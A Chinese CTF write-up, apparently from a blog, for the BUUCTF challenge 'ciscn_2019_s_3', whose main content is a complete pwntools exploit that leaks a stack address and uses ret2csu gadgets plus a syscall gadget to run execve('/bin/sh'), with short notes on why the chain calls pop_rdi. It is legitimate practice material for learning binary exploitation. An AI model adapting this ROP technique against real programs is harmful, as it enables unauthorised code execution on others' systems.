buuctf-ciscn_2019_s_3(ret2csu)

发现打csu的没有直接去利用call[r12+rbx*8],都是通过更改判定,二次执行后半段,再ret到需要的地址。

这里介绍用ret2csu走call来执行的方法。
关于题目就不过多赘述了~~(懒得赘述了,自己看题吧)~~

先直接放出来exp

from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./ciscn_s_3')

syscall=0x400517
rax=0x4004E2#execve
pop_rdi=0x04005a3
vuln_addr=0x04004ED
csu1_addr=0x40059a
csu2_addr=0x400580

def csu(call_addr,rdx,rsi,edi):
    payload=b'/bin/sh\x00'+p64(pop_rdi)+p64(rax)+p64(csu1_addr)
    payload+=p64(0)+p64(0)+p64(call_addr)+p64(rdx)+p64(rsi)
    payload+=p64(edi)+p64(csu2_addr)+p64(pop_rdi)+p64(bin_sh)+p64(syscall)
    p.send(payload)
#这里call的地址实际上是*call_addr,所以把pop_rdi写到了bin_sh的下一个位置,以便于索址。同时由于是用的call
#往栈内压入了地址,所以需要再填一层pop_rdi来将bin_sh的地址pop到rdi内。
payload=b'/bin/sh\x00'+b'A'*(8)+p64(vuln_addr)
#gdb.attach(p)
#pause(1)
p.send(payload)

stack_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
#print(hex(stack_addr))
bin_sh=stack_addr-0x118
#gdb.attach(p)
#pause(1)
csu(bin_sh+0x8,0,0,0)

p.interactive()

相比于其他多次利用的,这应该算是输入的比较少的。

为了直接利用到0x40058d的call [r12+rbx*8],所以把rbx置为0,[r12]会是我们要call调用的地方,也就是r12寄存器保存的地址指向的位置。例题中我们让它call到了手动输入的pop_rdi。

call执行之后,可以发现原本的下一步被压入栈中,需要把它pop掉才能正常执行我们想要的操作,这也是这里写入pop_rdi的原因。
在这里插入图片描述
在这里插入图片描述
(但是真的好晕好绕,本来搜着想看看别人的用这种做的简单方法,结果没有搜到有用这种做的,就分享一下。细说懒得细说了,估计也没几个人看。)(哈哈哈哈哈哈,我自己乍一看都不想看)

  • 6
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值